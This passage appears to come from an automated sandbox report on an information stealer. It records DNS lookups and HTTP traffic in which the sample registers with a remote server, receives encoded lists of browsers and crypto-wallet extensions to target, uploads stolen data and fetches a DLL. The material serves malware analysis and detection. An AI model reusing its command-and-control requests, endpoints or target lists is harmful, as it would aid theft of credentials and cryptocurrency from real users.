Nov 22, 2024 17:08:53.292656898 CET	1.1.1.1	192.168.2.10	0x540c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 17:08:53.292723894 CET	1.1.1.1	192.168.2.10	0x7e3a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.292723894 CET	1.1.1.1	192.168.2.10	0x7e3a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.919852972 CET	1.1.1.1	192.168.2.10	0x85a2	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.919852972 CET	1.1.1.1	192.168.2.10	0x85a2	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.919852972 CET	1.1.1.1	192.168.2.10	0x85a2	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.919852972 CET	1.1.1.1	192.168.2.10	0x85a2	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.928049088 CET	1.1.1.1	192.168.2.10	0xe396	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:53.936383963 CET	1.1.1.1	192.168.2.10	0xd089	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:53.956461906 CET	1.1.1.1	192.168.2.10	0xa42d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:53.961200953 CET	1.1.1.1	192.168.2.10	0xefc2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:54.058193922 CET	1.1.1.1	192.168.2.10	0xa3f2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:54.058248997 CET	1.1.1.1	192.168.2.10	0x9c46	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:54.201443911 CET	1.1.1.1	192.168.2.10	0xba30	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:54.208527088 CET	1.1.1.1	192.168.2.10	0x8d11	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:09:52.847915888 CET	1.1.1.1	192.168.2.10	0xd715	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:09:52.848023891 CET	1.1.1.1	192.168.2.10	0x3ee4	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49700	185.215.113.206	80	7928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:08:27.463886023 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 17:08:28.856605053 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:08:28.884983063 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 38 37 43 46 31 34 32 43 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"DA87CF142C8B2768236643------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"mars------CAEHDBAAECBFHJKFCFBF--
Nov 22, 2024 17:08:29.345062971 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 63 31 4d 32 4a 69 4d 57 4d 35 59 57 49 77 5a 47 4d 31 59 7a 41 77 59 6d 4e 6a 4d 6a 68 6c 59 6a 6c 6b 5a 6d 4d 33 59 54 49 34 4e 44 64 6b 5a 57 56 6a 59 6d 56 6a 4f 47 49 35 4f 44 49 32 4d 6a 41 34 4d 44 56 6d 59 7a 55 78 59 54 4a 6a 4e 6a 6b 79 4e 54 55 34 5a 54 41 31 4d 32 51 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTc1M2JiMWM5YWIwZGM1YzAwYmNjMjhlYjlkZmM3YTI4NDdkZWVjYmVjOGI5ODI2MjA4MDVmYzUxYTJjNjkyNTU4ZTA1M2QxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 22, 2024 17:08:29.410079002 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"browsers------KECBGCGCGIEGCBFHIIEB--
Nov 22, 2024 17:08:29.858443975 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 22, 2024 17:08:29.858513117 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 22, 2024 17:08:29.860152006 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"plugins------CAAAAFBKFIECAAKECGCA--
Nov 22, 2024 17:08:30.313323975 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 22, 2024 17:08:30.313355923 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 22, 2024 17:08:30.313366890 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 22, 2024 17:08:30.313401937 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 22, 2024 17:08:30.313414097 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 22, 2024 17:08:30.313426018 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 22, 2024 17:08:30.313438892 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Nov 22, 2024 17:08:30.315642118 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="message"fplugins------CFHCGHJDBFIIDGDHIJDB--
Nov 22, 2024 17:08:30.767287016 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 22, 2024 17:08:30.788264036 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAF Host: 185.215.113.206 Content-Length: 7679 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 17:08:30.788333893 CET	7679	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 22, 2024 17:08:31.766393900 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:08:32.770808935 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:08:33.082648993 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:08:33.410247087 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 